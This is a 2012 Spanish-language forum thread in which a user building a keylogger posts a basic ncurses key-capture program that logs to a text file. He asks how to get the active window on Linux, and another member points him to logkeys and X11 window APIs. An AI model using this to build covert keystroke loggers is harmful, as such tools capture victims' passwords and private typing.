elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  GetForeGroundWindow linux.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: GetForeGroundWindow linux.  (Leído 3,027 veces)
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
GetForeGroundWindow linux.
« en: 3 Junio 2012, 14:44 pm »

Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux?

Dejo lo que llevo por si a alguien le interesa:
Código:
#include <stdio.h>
#include <ncurses.h>

FILE* fichero;

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
 initscr();
 noecho();
 nodelay(stdscr, true);
 fichero = fopen("string.txt","a");
 while (1){
 if (kbhit()){fputc(getch(),fichero); fflush(fichero);  }
 refresh();
}
return 0; }


Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg   -lncurses

Saludos y gracias de antemano ;D


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: GetForeGroundWindow linux.
« Respuesta #1 en: 4 Junio 2012, 01:34 am »

¿Y si mirás el código de logkeys? http://code.google.com/p/logkeys/
El input lo tenés en un dispositivo aparte y podés usar la API de Linux para eso.

Saludos.

P.S → Como nota aparte, obtener un handle del ID de ventana que está bajo el mouse podés hacerlo con la API de X.org ... pero no hay pasar por la API de Xorg !! :D el código de xwininfo es chiquitito y simple, ahí tenés un ejemplo por si te dá curiosidad


« Última modificación: 4 Junio 2012, 01:45 am por vertexSymphony » En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: GetForeGroundWindow linux.
« Respuesta #2 en: 4 Junio 2012, 16:15 pm »

Gracias por la info, me mirare el codigo.

Saludos ;D

EDITO: He leido el codigo y he encontrado una funcion que creo que me puede ayudar, getpid(), incluida en unistd.h, y he leido que retorna el PID del proceso actual pero no se si es del mismo proceso que la llama o de la ventana activa.
« Última modificación: 4 Junio 2012, 16:34 pm por daniyo » En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: GetForeGroundWindow linux.
« Respuesta #3 en: 4 Junio 2012, 23:35 pm »

Sobre getpid() → http://pubs.opengroup.org/onlinepubs/009695399/functions/getpid.html
Sobre obtener el PID desde un ID de X, es un temita por que el proceso puede correr de forma remota, incluso en una implementación que no tenga nociones de PID, pero podés probar suerte con XGetWindowProperty() y la propiedad NET_WM_PID

Saludos.
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: GetForeGroundWindow linux.
« Respuesta #4 en: 5 Junio 2012, 16:02 pm »

Gracias, lo mirare.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: GetForeGroundWindow linux.
« Respuesta #5 en: 5 Junio 2012, 19:41 pm »

XGetSelectionOwner()? Estoy buscando informacion, pero esta todo en ingles y no llego a entender los pormenores(aunque en este caso son las cosas que vienen a ser importantes), de las funciones, ni de lo que es la "selection" aunque creo que es una propiedad que tiene la ventana activa.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: GetForeGroundWindow linux.
« Respuesta #6 en: 9 Junio 2012, 18:29 pm »

Y seguís pensando que como se hacen las cosas en Windows, es como se hacen en *nix ...
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: GetForeGroundWindow linux.
« Respuesta #7 en: 9 Junio 2012, 21:41 pm »

Es que esta muy mal la cosa, no hay manera de encontrar un keylogger basico que sirva de orientacion para *nix, y ademas era por hacer una pregunta mas concreta.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Qual fue vuestra primera distro de linux y por que decidisteis ir a linux? « 1 2 3 »
GNU/Linux
ShAdoW-PmP 22 11,422 Último mensaje 4 Agosto 2015, 12:28 pm
por FKT
GetForegroundWindow() y Me.Handle
Programación Visual Basic
Selfmastery 6 4,693 Último mensaje 26 Abril 2008, 17:07 pm
por cassiani
Porque los juegos para linux no ruedan bien en linux « 1 2 3 »
GNU/Linux
portaro 21 17,418 Último mensaje 4 Julio 2010, 00:00 am
por portaro
Linux Foundation insta a los fabricantes a permitir el arranque de Linux en ...
Noticias
wolfbcn 0 1,471 Último mensaje 31 Octubre 2011, 21:01 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines